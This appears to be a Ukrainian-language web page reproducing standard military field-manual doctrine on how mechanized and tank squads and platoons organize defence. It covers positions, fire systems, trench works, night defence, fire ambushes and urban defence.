ОБОРОНА МЕХАНІЗОВАНИХ, ТАНКОВИХ ПІДРОЗДІЛІВ

Український легіон » Дисципліни » ЗАГАЛЬНА ТАКТИКА » ОБОРОНА МЕХАНІЗОВАНИХ, ТАНКОВИХ ПІДРОЗДІЛІВ

ОБОРОНА МЕХАНІЗОВАНИХ, ТАНКОВИХ ПІДРОЗДІЛІВ

Оборона має на меті відбити наступ переважаючих сил противника, завдати йому максимальних втрат, утримати важливі райони (об'єкти) місцевості і, тим самим, створити сприятливі умови для переходу в наступ.

Залежно від бойового завдання, наявності сил і засобів, а також від характеру місцевості оборона, може бути позиційною та маневреною.

Позиційна оборона — основний вид оборони. Вона найбільш повно відповідає головній меті оборони і ведеться шляхом завдання максимальних втрат противнику в ході наполегливого утримання підготовлених до оборони районів місцевості. Позиційна оборона застосовується на більшості напрямків і, передусім, там, де втрата території недопустима.

Маневрена оборона застосовується з метою завдання противнику втрат, виграшу у часі та збереження своїх сил шляхом послідовних оборонних боїв на завчасно намічених і ешелонованих в глибину рубежах у поєднанні з короткими контратаками. Вона допускає залишення деякої частини території. У ході маневреної оборони батальйон у взаємодії з іншими підрозділами бригади (полку) змушує противника наступати в тому напрямку, де підготовлена стійка позиційна оборона, або противник затягується в район, який забезпечує вигідні умови для його розгрому контратаками.

Оборона повинна бути стійкою й активною, здатною протистояти ударам усіх видів зброї, атаці значних мас танків і піхоти противника, вести активну боротьбу з його повітряними десантами, аеромобільними та диверсійно-розвідувальними групами. Вона повинна бути протитанковою, протиповітряною і протидесантною, глибокоешелонованою і готовою до тривалого ведення бою в умовах застосування противником зброї масового ураження, високоточної зброї та засобів радіоелектронної боротьби.

 

Відділення (танк) в обороні

Механізоване відділення обороняє позицію до 100 м по фронту, маючи на ній основні, запасні (тимчасові) позиції для вогневих засобів, які дозволяють спільно із сусідніми відділеннями знищувати противника вогнем перед фронтом і на флангах опорного пункту взводу .

На позиції відділення можуть розташовуватися вогневі засоби старших командирів.

Бойовий порядок механізованого відділення в обороні

На позиції відділення стрільці, кулеметник та грана­тометник розташовуються так, щоб усі підступи до неї перед фронтом і на флангах знаходилися під ефективним, особливо фланговим та перехресним вогнем, а за­городження І перешкоди добре проглядалися і прострі­лювалися. Відповідно до цього будується і система вог­ню. Відділення повинно бути готовим до маневру на напрямок, якому погрожують, ведення вогню вночі та в інших умовах обмеженої видимості.

Бойова машина піхоти, яка має могутнє озброєння та броньовий захист, є основою оборони позиції відді­лення, її вогнева позиція, а також вогнева позиція бро­нетранспортера може обладнуватися в центрі позиції відділення, на фланзі або позаду позиції на віддаленні до 50 м. Бойова машина піхоти без десанту в обороні може виділятися для дій у вогневій засаді, як кочуючий вогневий засіб і у складі бронегрупи батальйону (роти).

В умовах відсутності   зіткнення   з   противником командир механізованого (гранатометного, протитанко­вого) відділення, з'ясувавши одержане завдання, зобо­в'язаний: вивести відділення на вказану позицію; органі­зувати спостереження; вказати основну і запасну вогневі позиції для бойової машини піхоти (бронетранспор­тера), вогневі позиції кулеметникам, гранатометнику і місця стрільцям (основні і запасні позиції для гранато­метників, протитанкових керованих ракетних комплек­сів); віддати бойовий наказ; організувати інженерне об­ладнання і маскування позицій; визначити відстань до орієнтирів, підготувати дані для ведення вогню вдень та вночі і скласти картку вогню.

У бойовому наказі командир відділення вказує:
орієнтири; склад, положення та характер дій противника; завдання взводу і відділення, позицію, смугу вогню та додатковий сектор обстрілу; порядок спостереження і ведення вогню по наземних та повітряних цілях; місця на ділянках зосередженого вогню взводу, по яких вести вогонь відділенням; завдання сусідів; завдання особовому складу; навіднику-оператору (кулеметнику бронетранспортера), кулеметникам і гранатометнику — основні та запасні вогневі позиції; старшому стрільцю та стрільцю — місця для стрільби, послідовність їх обладнання і зміни в ході бою; навіднику-оператору (кулеметнику бронетранспор­тера) І кулеметникам, крім того, — основний і додатко­вий сектори обстрілу з кожної позиції; механіку-водію (водію) — маршрут виходу на запасну (тимчасову) вог­неву позицію, порядок спостереження та коректування вогню; сигнали оповіщення, управління, взаємодії та поря­док дій за ними; час готовності до оборони і заступника.

Після одержання завдання особовий склад відділен­ня приступає до розчищення смуги обзору та обстрілу, а також відривання і маскування окопів.

Під час переходу до оборони в умовах безпосеред­нього зіткнення   з   противником   командир   відділення організовує швидке захоплення, і заняття позиції на вка­заному рубежі, ставить завдання  особовому   складу, організовує спостереження, систему вогню, управління,
взаємодію та інженерне обладнання   позиції.   Вогнева позиція бойової машини піхоти (бронетранспортера) ви­бирається в такому місці, щоб забезпечувалось потайне її розташування, прикриття   вогнем   особового   складу відділення під час виконання ним робіт щодо інженер­ного обладнання  позиції.  Надалі  командир  відділення детально вивчає місцевість, уточнює завдання особово­му складу та порядок взаємодії,  а  при необхідності й інші питання.

На позиції відділення в першу чергу розчищається місцевість для поліпшення спостереження та ведення вогню, відриваються одиночні (парні) окопи та окоп для бойової машини піхоти (бронетранспортера), потім одиночні (парні) окопи з'єднуються між собою в окоп на відділення, який доводиться до повного профілю, а при нестійкому грунті, крім того, посилюється одежею крутостей та з'єднується суцільною   траншеєю з   окопами сусідніх відділень; для особового складу обладнується перекрита щілина. Потім відриваються окоп на запасній (тимчасовій) вогневій позиції для бойової машини піхоти (бронетранспортера) та хід сполучення до неї. В око­пі на відділення обладнується бліндаж, ніші для боєпри­пасів І проводяться інші роботи щодо його вдосконален­ня в бойовому і господарчому відношеннях з метою забезпечення тривалого перебування особового складу в обороні. Якщо траншея відрита землерийною машиною, командир організовує її дообладнання.

Після організації інженерних робіт командир від­ ділення складає картку вогню відділення, на яку наносить: орієнтири, їх номери, найменування та відстань до них, положення противника, позицію відділення, а ко­мандири гранатометного та протитанкового відділень — і положення механізованого підрозділу, якому вони при­дані; смугу вогню та додатковий сектор обстрілу; основні і запасні вогневі позиції бойової машини піхоти (броне­транспортера), гранатометів і протитанкових керованих комплексів, основні та додаткові сектори обстрілу з кож­ної позиції (крім сектора обстрілу ручного протитанко­вого гранатомета); позиції сусідів та межі їхніх смуг вогню на флангах відділення; ділянки зосередженого, а для гранатометного відділення і рубежі загороджуваль­ного вогню взводу та місця в них, по яких вести вогонь відділенням; загородження, розташовані поблизу позиції відділення та ті, що прикриваються його вогнем.

До переходу противника в наступ на позиції від­ділення постійно несе службу спостерігач. Для відбиття раптового нападу противника та знищення його дрібних груп, які ведуть розвідку або намагаються пророблюва­ти проходи в загородженнях, призначається кулеметник або стрілець, який розташовується, як правило, на запас­ній (тимчасовій) вогневій позиції. Решта особового складу залежно від обстановки проводить інженерне до­обладнання позиції, займається бойовою підготовкою, допомагає механіку-водію (водію) в технічному обслу­говуванні бойової машини піхоти (бронетранспортера) або відпочиває.

 Командир відділення, як правило, знаходиться на позиції в такому місці, звідки зручніше управляти від­діленням, спостерігати за місцевістю та сигналами ко­мандира взводу.

Вогонь протитанкових засобів відділення зосереджу­ється в першу чергу по головному танку або по танку з тралом, який долає загородження перед переднім краєм оборони, а потім по решті атакуючих танків та інших броньованих машинах. За сприятливих умов обста­новки з метою знищення танків, які долають загоро­дження перед позицією відділення, командир може ви­слати вперед гранатометника з помічником (стрільцем з ручними протитанковими гранатами). Для потайності їх висування використовуються аерозолі (дими). Іноді, бі­ля найбільш імовірного місця пророблювання противни­ком проходу в загородженнях, відділенням завчасно від­риваються і маскуються окоп та хід сполучення до нього. В окопі може розміщуватися гранатометник або кулеметник    (стрілець)    із   заздалегідь   приготовленим мінним шлагбаумом. По можливості в боротьбі з танка­ми противника можуть брати участь кулеметники та снайпер, які зосереджують свій вогонь по оглядових приладах танків.

У випадку виходу танка противника безпосередньо до позиції відділення, ближній до нього солдат з підходом танка на відстань 25—ЗО м метає по ньому ручну проти­танкову гранату. Якщо танк виявився неураженим, сол­дат відбігає по траншеї в сторону або лягає на її дно, а коли танк подолає окоп, швидко вискакує і метає проти­танкову гранату в його борт або кормову частину. Після вибуху гранати солдат приготовляється для знищення екіпажу, який залишає уражений танк.

З підходом піхоти противника до позицій на відстань ЗО—40 м відділення закидає її гранатами. Якщо против­ник увірветься на позицію, відділення знищує його вог­нем впритул, гранатами та в рукопашній сутичці. Роз­повсюдження противника по траншеї і ходу сполучення повинно бути затримано вогнем та швидким установлен­ням заздалегідь підготовлених рогаток, їжаків та інших переносних загороджень.

Якщо противник атакує позицію сусіднього відділен­ня, відділення здійснює допомогу сусіду вогнем.

Бойова машина піхоти веде вогонь самостійно і за командою (сигналом) командира відділення. У випадку обходу або вклинення   противника   в   оборону   бойова машина піхоти під прикриттям вогню відділення займає запасну вогневу позицію і знищує його вогнем у фланг і в тил. Зміна вогневих пози цій проводиться тільки за на­казом командира взводу.

З метою введення противника в оману відносно дійс­ного розташування вогневих засобів та кількості бро­ньованих машин в обороні бойова машина піхоти може діяти як кочуючий вогневий засіб. Позиції для кочуючої бойової машини піхоти вибираються з урахуванням одержаного завдання і особливостей місцевості. Потай, по вказаному маршруту, змінюючи вогневі позиції, ко­чуюча бойова машина піхоти веде вогонь з них самостій­но або за командами (сигналами) командира, який її вислав. Після виконання завдання кочуюча бойова ма­шина піхоти займає основну вогневу позицію у взводно­му опорному пункті або діє за вказівкою командира взводу.         Після відбиття атаки противника командир від­ ділення зобов'язаний: перевірити стан особового складу і зброї відділення; поповнити ракети і боєприпаси; під­готувати відділення до відбиття повторних атак; вжити заходів щодо відновлення траншеї і окопу для бойової машини піхоти (бронетранспортера); доповісти коман­диру взводу про результати бою.

Танк, маючи могутнє озброєння та надійний за­хист, в обороні діє як рухома броньована вогнева точка і спроможний відбити наступ декількох танків та піхоти противника.

Танк в обороні займає вогневу позицію. Вона виби­рається з таким розрахунком, щоб забезпечувались: спостереження за противником та ведення вогню на гра­ничну дальність прямою наводкою з гармати і кулеме­та; ефективне застосування комплексу керованого озб­роєння; вогнева взаємодія із сусідніми танками та мож­ливість спільного зосередження вогню перед переднім краєм оборони і на флангах опорного пункту; безпека механізованих підрозділів, які займають оборону попе­реду.

З метою введення противника в оману відносно дійсного розташування вогневих засобів та кількості танків в обороні танк може діяти як кочуючий вогневий засіб. Вогневі позиції для кочуючого танка вибираються відповідно до одержаного завдання та залежно від особ­ливостей місцевості. Командиру танка вказуються зав­дання, маршрут руху, декілька вогневих позицій, вихідні дані для стрільби на кожній з них та порядок дій після виконання завдання. В ході оборонного бою кочуючий танк потай змінює вогневі позиції, роблячи з кожної з них по декілька пострілів, або веде вогонь за вказівкою командира, який його вислав. Про виконання завдання командир танка доповідає командиру, який його вислав, і надалі діє відповідно до одержаного наказу.

Під час виходу танка із ладу та неможливості вести вогонь з нього екіпаж повинен уміло вести бій поза тан­ком.

Взвод в обороні

Взвод обороняє опорний пункт до 400 м по фронту і до 300 м - в глибину .

Побудова оборони механізованого (танкового) взводу включає: бойовий порядок взводу, опорний пункт взводу і систему вогню.

Бойовий порядок механізованого взводу в обороні (варіант)

БМП на вогневій позиції

 

 

 

Бойові машини піхоти і танки в опорному пункті взводу розташовуються по фронту і в глибину з інтервалом до 200 м.

В опорному пункті взводу і на його флангах можуть займати вогневі позиції протитанкові засоби і танки.

Розміщення танків в опорному пункті взводу посиленого механізованим відділенням

 

Бронетранспортери займають вогневі позиції, як правило, в глибині опорного пункту так, щоб забезпечувалась можливість ведення вогню із кулеметів переважно в сторони флангів і в проміжки.

Придані механізованому взводу протитанкове і вогнеметне відділення можуть розташовуватися на позиціях механізованих відділень, а гранатометне відділення - в проміжках між ними або на фланзі, опорного пункту взводу. Передбачається можливість маневру цих відділень в ході бою на найбільш небезпечний напрямок і для заняття кругової оборони.

В опорному пункті взводу і на його флангах можуть займати вогневі позиції протитанкові засоби і танки, які не підпорядковані командиру взводу. Командир взводу повинен знати завдання цих засобів і підтримувати з ними тісну взаємодію.

Опорний пункт механізованого взводу складається із Позицій відділень, вогневих позицій бойових машин піхоти (бронетранспортерів) і приданих вогневих засобів, а опорний пункт танкового взводу - із вогневих позицій танків і приданих засобів.

Проміжки між опорними пунктами взводів можуть бути до 300 м, а між позиціями відділень - до 50 м. Вони повинні знаходитися під безперервним спостереженням, прикриватися вогнем і загородженнями.

По всьому фронту опорного пункту механізованого взводу відривається суцільна траншея, яка з'єднує одиночні (парні) окопи для особового складу механізованих відділень, окопи для бойових машин піхоти, танкіь, протитанкових керованих ракетних комплексів, інших вогневих засобів і укриття для особового складу. Від опорного пункту в глибину оборони відривається хід сполучення, який обладнується для ведення вогню. Траншея, окопи і хід сполучення повинні забезпечувати ведення флангового і перехресного вогню по противнику, який атакує, потайний маневр і розосередження вогневих засобів, а також введення противника в оману відносно побудови оборони взводу.

Перша траншея є переднім краєм оборони і обороняється взводами першого ешелону. Вона повинна забезпечувати добре спостереження за противником, найкращі умови для створення зони суцільного багатоша,-рового вогню всіх видів перед переднім краєм, на флангах, в проміжках і ведення вогню з глибини оборони.

Друга траншея обороняється взводом другого ешелону (резерву) роти. Вона обладнується на віддаленні 300—600 м від першої траншеї з таким розрахунком, щоб взвод, який її обороняє, міг своїм вогнем підтримувати підрозділи, що займають першу траншею, а також вести вогонь на підступах до переднього краю оборони і прикривати вогнем загородження перед ним.

Третя (четверта) траншея обороняється взводами рот другого ешелону батальйону. Вона обладнується на віддаленні 600—1000 м від другої (третьої) траншеї з таким розрахунком, щоб розташовані в ній вогневі засоби могли вести вогонь у смузі між другою і третьою (четвертою) траншеями, а на окремих ділянках і перед переднім краєм оборони.

Хід сполучення використовується для потайного маневру підрозділами, ведення бою з противником, що вклинився в оборону, евакуації поранених і подачі боєприпасів і продовольства.

 Система вогню взводу в обороні включає: ділянки зосередженого вогню взводу, які підготовлені перед переднім краєм оборони; зони протитанкового вогню бойо­вих машин піхоти (танків) і суцільного багатошарового вогню всіх інших вогневих засобів взводу перед переднім краєм, в проміжках, на флангах і в глибині оборони; підготовлений маневр вогнем бойових машин піхоти (танків) та інших вогневих засобів на напрямки, яким загрожують.

Основу системи вогню взводу складає вогонь танків, бойових машин піхоти, протитанкових гранатометів і кулеметів. Система вогню будується з врахуванням вогневих можливостей усіх видів зброї взводу і приданих йому вогневих засобів, у тісній їх взаємодії і в поєднанні з інженерними загородженнями і природними пере­шкодами. Вона повинна забезпечувати ураження про­тивника, передусім його танків та інших броньованих машин, на підступах до оборони, перед переднім краєм, між сусідніми опорними пунктами і в глибині оборони, можливість ведення фронтального, флангового та пере­хресного вогню, а також кругову оборону опорного пункту.

Безпосередньо перед переднім краєм підготовляється зона суцільного багатошарового вогню: вся місцевість у смузі до 400 м перед переднім краєм повинна знаходитися під вогнем взводу, а мертві простори, які є, повинні уражатися вогнем артилерії і мінометів із закритих вогневих позицій.

Загородження та підступи до них повинні добре проглядатися і прострілюватися вогнем всіх видів.

Ефективність вогню в обороні досягається його влучністю, масованістю і раптовістю застосування, а також умілим управлінням ним. Всі вогневі засоби в обороні повинні бути готовими до ведення вогню і здійснення маневру вночі та в інших умовах обмеженої видимості.

Під час організації системи вогню механізованому танковому взводу і відділенню указуються смуга вогню, додатковий сектор обстрілу, а взводу, крім того,- одна-дві ділянки зосередженого вогню.

Гранатометному і протитанковому взводам указуються смуга вогню, додатковий сектор обстрілу, ділянки зосередженого вогню, а гранатометному взводу, крім того, - основний напрямок стрільби і рубежі загороджувального вогню. Бойовим машинам піхоти (бронетранспортерам), танкам, гарматам, протитанковим керованим ракетним комплексам, гранатометам, вогнеметам і кулеметам призначаються основні і запасні (для чергових вогневих засобів і тимчасові) вогневі позиції, вказуються основний і додатковий сектори обстрілу (вогнеметання) з кожної позиції на дальність їх дійсного вогню. Вогонь ручних протитанкових гранатометів підготовляється у смузі вогню своїх відділень. Смуги вогню визначаються межами справа і зліва. Кожна межа вказується двома точками (орієнтирами). Смуги вогню (сектори обстрілу), сусідніх підрозділів (вогневих засобів) на стиках повин­ні взаємно перекриватися.

Готовність системи вогню визначається заняттям бойовими машинами піхоти (бронетранспортерами), танками, гарматами та іншими вогневими засобами вогневих позицій, підготовкою даних для стрільби, а також наявністю боєприпасів.

 В умовах відсутності зіткнення з противником командир взводу, одержавши бойове завдання, приймав по карті рішення, оголошує його командирам відділень (танків), виводить взвод в указаний опорний пункт або в укрите місце на підступах до нього, потай розташовує його і організовує безпосередню охорону. Після цього він спільно з командирами відділень (танків) і приданих засобів проводить рекогносцировку, віддає бойовий наказ, організовує взаємодію і систему вогню, бойове забезпечення і управління. Потім командир взводу організовує заняття опорного пункту, створює бойовий порядок і систему вогню, організовує спостереження та інженерне обладнання опорного пункту.

Одержавши наказ на перехід до оборони в умовах безпосереднього зіткнення з противником, командир взводу повинен швидко прийняти рішення, поставити завдання відділенням (танкам) на заняття позицій в указаному взводу опорному пункті, організувати спостереження перед фронтом і на флангах опорного пункту взводу, взаємодію і систему вогню, бойове забезпечення, управління та інженерне обладнання опорного пункту. Надалі він вивчає місцевість, уточнює завдання відділенням (танкам) і порядок взаємодії, а при необхідності й інші питання.

В опорному пункті механізованого, а також на вогневих позиціях гранатометного і протитанкового взводів у першу чергу встановлюються дротяні та інші загородження перед переднім краєм опорного пункту (вогневими позиціями) взводу; розчищаються смуги обзору та обстрілу; відриваються одиночні (парні) окопи"для стрільців, кулеметників, снайпера і гранатометників, які з'єднуються в окоп на відділення, а потім обладнується суцільна траншея; обладнуються окопи на основних вог-; невих позиціях танків, бойових машин піхоти (броне­транспортерів), протитанкових керованих ракетних комплексів та інших вогневих засобів; споруджується командно-спостережний пункт взводу; відриваються і обладнуються перекриті щілини на кожне відділення, екіпаж або обслугу; улаштовуються загородження на флангах та в глибині опорного пункту взводу.

У  другу  чергу відриваються окопи на запасних (тимчасових) вогневих позиціях для танків, бойових машин піхоти (бронетранспортерів), протитанкових керівних ракетних комплексів та інших вогневих засобів, а також ходи сполучення до танків, вогневих позицій бойових машин піхоти (бронетранспортерів), до командно-спостережного пункту взводу і в тил; улаштовуються бліндажі на кожне відділення, екіпаж або обслугу; обладнується суцільна траншея в батальйонному районі -оборони; додатково улаштовуються загородження перед переднім краєм, на флангах і в проміжках між сусідніми опорними пунктами.

Надалі опорний пункт взводу, позиції відділень та вогневих засобів удосконалюються у бойовому і господарчому відношенні, хід сполучення в тил пристосову­ється для ведення вогню; улаштовується бліндаж на .командно-спостережному пункті взводу; обладнуються фальшиві вогневі позиції, ділянки траншей та інші об'єкти. Всі позиції (спорудження) у взводному опорному пункті повинні бути підготовлені для захисту від запа­лювальної зброї і ретельно замасковані, для чого використовуються табельні засоби пожежогасіння та маскування і місцеві матеріали. З метою захисту від високоточної зброї в окопах над бойовими машинами піхоти (бронетранспортерами), тан­ками утворюються маски, влаштовуються екрани та козирки. Одночасно за планом старшого командира встановлюються відбивачі та теплові імітатори (пастки).Командир механізованого танкового взводу зобов'язаний скласти схему опорного пункту, а командири гранатометного і протитанкового взводу - схему вогню взводу. Схема опорного пункту  подається командиру роти, а схема вогню - командиру батальйону.

На схемах, як правило, указуються: орієнтири, їх номери, найменування і відстань до них; положення противника; смуга вогню взводу та додаткові сектори-обстрілу; позиції відділень, їх смуги вогню і додаткові сектори обстрілу; основні і запасні (тимчасові) вогневі позиції бойових машин піхоти (бронетранспортерів), танків, а також вогневих засобів, які забезпечують проміжки з сусідами, їх основні та додаткові сектори обстрілу з кожної позиції; ділянки зосередженого вогню взводу та місця в них, по яких повинні вести вогонь відділення (танковому взводу - тільки ділянки зосередженого, вогню); ділянку зосередженого вргню роти та місце в ньому, по якому веде вогонь взвод, а на схемі вогню гранатометного взводу, крім того, - рубежі загороджувального вогню та позиція механізованого підрозділу, якому взвод приданий; рубежі відкриття вогню з танків, бойових машин піхоти,, протитанкових та інших вогневих засобів; позиції вогневих засобів командира роти (батальйону), розташованих в опорному пункті взводу і на його флангах, та їх сектори обстрілу; загородження і фортифікаційні спорудження; позиції сусідніх підрозділів та межі їхніх смуг вогню на флангах взводу; місце командно-спостережного пункту взводу.

Для ведення оборони вночі командир взводу до початку темряви повинен визначити і вказати підлеглим командирам: добре видимі вночі орієнтири; завдання щодо підготовки зброї та вихідних даних щодо ведення вогню вночі, спостереження і підслуховування; по яких ділянках місцевості перед переднім краєм і на флангах додатково підготувати вогонь; порядок застосування приладів нічного бачення і засобів освітлення місцевості, а також завдання щодо знищення та осліплення   засобів освітлення противника; додаткові заходи щодо забезпечення проміжків і флангів; розпізнавальні знаки своїх військ; способи орієнтування та цілевказання.

Командир механізованого взводу, крім того, указує які вогневі засоби, коли і куди перемістити, де додатково виставити спостерігачів.

     До початку темряви всі командири зобов'язані пере­вірити вихідні дані для стрільби вночі, готовність зброї і приладів нічного бачення, наявність трасуючих снарядів, патронів з трасуючими кулями та засобів освітлення місцевості.

В обороні взвод знаходиться в постійній готовності до відбиття атаки противника.

Вдень для знищення окремих груп противника, який намагається вести розвідку, пророблювати проходи в загородженнях або проникнути в глибину оборони, в механізованому взводі призначається черговий вогневий Засіб (чергова бойова машина піхоти), а у танковому взводі - черговий танк, особовий склад яких знаходить­ся в постійній готовності до негайного відкриття вогню Із запасної або тимчасової вогневої позиції. Крім того, черговий вогневий засіб перешкоджає пересуванню про­тивника в його розташуванні і веденню ним інженерних робіт. Снайпер внищуе офіцерів, снайперів, спостерігачів та інші цілі противника. Решта особового Складу взводу вдосконалює інженерне обладнання позицій, займається бойовою підготовкою або проводить технічне обслуговування бойових машин піхоти (бронетранспортерів) і танків.

Вночі дві третини особового складу кожного відділення (члени екіпажу бойової машини піхоти, бронетранспортера, танка в кількості, яка дозволяє вести вогонь із озброєння бойової машини) повинні знаходи­тися на позиції (в бойовій машині піхоти, бронетран­спортері, танку) в готовності до ведення вогню.

Відпочинок особовому складу надається за дозволом командира роти. Особовий склад, який відпочиває, розташовується в укриттях (бліндажах) і траншеях поблизу вогневих засобів в готовності зайняти свої місця за тривогою. Біля укрить виставляються спостерігачі, які встановленим сигналом оповіщають всіх відпочиваючих, ви­кликаючи їх на позиції.

Атака танків і піхоти противника, які наступають на броньованих машинах без спішування, відбивається шляхом зосередження вогню бойових машин піхоти, танків та протитанкових засобів взводу по головних (які являють собою найбільшу небезпеку) танках і танках з тралами, а потім по решті танків та інших броньованих машинах, що атакують, щоб змусити піхоту спішитися. Потім вогнем із стрілецької зброї піхота, яка спішилась, відсікається від танків і знищується. Атака танків і піхоти, яка за ними наступає в пішому порядку, відбивається вогнем з бойових машин піхо­ти, танків чі протитанкових засобів взводу по танках противника і одночасно вогнем з кулеметів, автоматів і приданих вогнеметів по спішеній піхоті з метою відсікти її від танків і знищити. По мірі наближення противника до переднього краю оборони вогонь доводиться до найвищої напруги. В усіх випадках взвод повинен прагнути зірвати атаку против­ника до його виходу до переднього краю оборони.

Як тільки буде визначене місце пророблення против­ником проходу в загородженнях перед переднім краєм, командир взводу організовує маневр на цей напрямок протитанкових засобів для найбільш ефективного ура­ження танків (особливо вогнем в борт і корму), які до­лають загородження.

Противник, який увірвався в опорний пункт взводу, знищується вогнем впритул, мінами направленої дії, гра­натами і в рукопашній сутичці. Танки противника, які пройшли через траншею, знищуються з тилу і флангів вогнем з протитанкових гранатометів і рунними протитанковими гранатами. Одночасно вогнем із стрілецької зброї знищується піхота, що іде слідом за танками. Для перешкодження розповсюдження противника в глибину опорного пункту і в сторони флангів в траншеях і ходах сполучення швидко встановлюються їжаки, рогатки та інші раніше підготовлені переносні загородження. Взвод при підтримці вогневих засобів старшого командира повинен за всяку ціну утримати опорний пункт і не допус­тити розвитку наступу противника.

Під час вклинення противника на позиції сусідів взвод, продовжуючи обороняти свій опорний пункт, виділяє частину вогневих засобів для стрільби у фланг і в тил противнику, який вклинився, і вживає заходів щодо по­силення оборони на напрямку, якому погрожують.

У випадку обходу противником опорного пункту взвод переходить до кругової оборони і, продовжуючи міцно утримувати позиції, які займає, знищує противника вогнем всіх видів зброї з основних і запасних пози-'цій або діє за вказівкою командира роти.

Механізований (танковий) взвод, призначений в бойову охорону, повинен не допустити раптового нападу противника на батальйон і перешкодити йому ведення розвідки. У бойовій охороні взвод обороняє позицію до 500 м по фронту.

Механізованому (танковому) взводу, призначеному в бойову охорону, можуть бути придані танк (механізоване відділення), підрозділи мінометів, вогнеметів та протитанкових засобів, а також інженерно-саперний підрозділ.

Після організації оборони командир взводу з командирами відділень (танків) І приданих засобів проводить розвідку можливих шляхів відходу та встановлює порядок дій при одержанні наказу на відхід.

Дрібні групи противника бойова охорона захоплює в полон або знищує раптовим вогнем.

Під час підходу переважаючих сил противника бойова охорона уражає його вогнем, починаючи з граничної дальності. Командир взводу особистим спостереженням визначає сили і напрямок дій противника, доповідає про це командиру батальйону і продовжує вести бій.

Взвод може залишити позицію, яку займає, і відійти тільки за наказом командира батальйону. Відхід здійснюється перекатами з використанням складок місцевості, загороджень та аерозолів (димів). Під час відходу поранені і вбиті повинні бути винесені (вивезені) разом з їхньою зброєю.

Танки та бойові машини піхоти (бронетранспортери), призначені для дій в бронегрупі, із заняттям оборони спочатку можуть розташовуватися і готуватися до бою в своїх взводних опорних пунктах. Потім в установлений командиром батальйону (роти) час або за сигналом вони зосереджуються в районі, який вибирається на місце­вості, яка має надійні захисні та маскуючі властивості.

Вогнева засада в обороні створюється у складі взводу (відділення, танка), посиленого вогнеметниками та саперами. Вона призначається для нанесення против­нику максимального ураження раптовим вогнем прямою наводкою, кинджальним вогнем та застосуванням мінно-вибухових загороджень.

Вогнева засада організовується в місцях, які утруднюють противнику швидке розгортання і проведення маневру для виходу із-під вогню. її позиція повинна забезпечувати потайне розташування взводу (відділення, танка), мати добрі умови для спостереження, ведення вогню і шляхи відходу. На позиції відриваються окопи, які ретельно маскуються, безпосередні підступи до позиції мінуються. Щоб приховати сліди гусениць, висування на місце вогневої засади потрібно здійснювати по твердому грунту з низькою рослинністю, взимку сліди гусениць замітаються прикріпленими до бойової машини піхоти, танка деревами з необрубаним гіллям.

 Для прикриття батальйону (роти), під час виходу з бою (із оточення) взвод може також призначатися у склад підрозділів прикриття. Танковий взвод (механізований взвод на бойових машинах піхоти), крім того, може діяти для забезпечення флангів прориву кільця оточення (в заслонах).

 Під час прориву головними силами батальйону (роти) кільця оточення взвод, призначений для прикриття, утримує зайняті позиції, не допускає звуження фронту оточенням, і відходить тільки за наказом командира батальйону (роти) під прикриттям усіх видів зброї, аерозолів (димів), загороджень та заслонів.

Командир танка доповідає командиру, який його вислав, і надалі діє відповідно до одержаного наказу.

Під час виходу танка із ладу та неможливості вести вогонь з нього екіпаж повинен уміло вести бій поза танком.

 

 Оборона в особливих умовах 

 

У місті (населеному пункті) механізований взвод обороняє опорний пункт, який може включати один-два будинки, а відділення - будинок або поверх будинку. Взводу можуть бути придані гармати, вогнемети, протитанкові керовані ракетні комплекси та інші вогневі засоби.

Оборона в будинках організовується так, щоб підступи до. них прострілювалися фланговим та перехресним вогнем.

Обороняючи будинок, взвод повинен обладнати його для кругової оборони, яка забезпечить тривале його утримання навіть при оточенні противником Система вогню при цьому організовується таким чином, щоб будинки знаходилися у вогневому зв'язку між собою. Вогонь підготовляється в декілька ярусів. Більша частина сил і засобів взводу, які обороняють будинок, і приданих вогневих засобів розміщуються в нижніх поверхах та напівпідвалах. У верхніх поверхах установлюються окремі вогневі засоби і розташовуються снайпери. Протитанкові керовані ракетні комплекси, гранатомети та вогнемети розташовуються переважно в нижніх поверхах з таким розрахунком, щоб забезпечувалась можливість ведення вогню вздовж вулиць та майданів. Вогневі позиції для мінометів обладнуються у дворах, на верхніх поверхах і на горищах.

Готуючи будинок до оборони, необхідно закласти вікна та двері цеглою або мішками з піском (землею), влаштувати бійниці і амбразури, проробити ходи в горищному та міжповерхових перекриттях, обладнати підвал мурованого будинку під сховище. Підступи до будинку прикриваються інженерними загородженнями.

На вулицях будуються барикади. В барикадах улаштовуються бійниці та площадки для вогневих засобів. Для маневру своїх підрозділів та руху транспорту залишаються проходи, які ретельно охороняють ся та  прикриваються вогнем. Підступи до барикад повинні прострілюватися фланговим та перехресним вогнем. Будови, які заважають спостереженню та веденню вогню, розбираються. Для маневру підрозділам ми в місті (населеному, пункті) влаштовуються Проходи та проїзди, всередині кварталів та пристосовуються підземні комунікації. В невикористаних підземних комунікаціях (спорудженнях) улаштовуються загородження, а виходи з них прикриваються вогнем або охороняються.

 


Останні статті

Отримання дозволу на зброю
03.04.2015

Отримання дозволу на зброю

Перелік документів на придбання нарізної та гладкоствольної зброї
Детальніше
Гарнізонні заходи за участю військ.
28.05.2014

Гарнізонні заходи за участю військ.

Детальніше
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
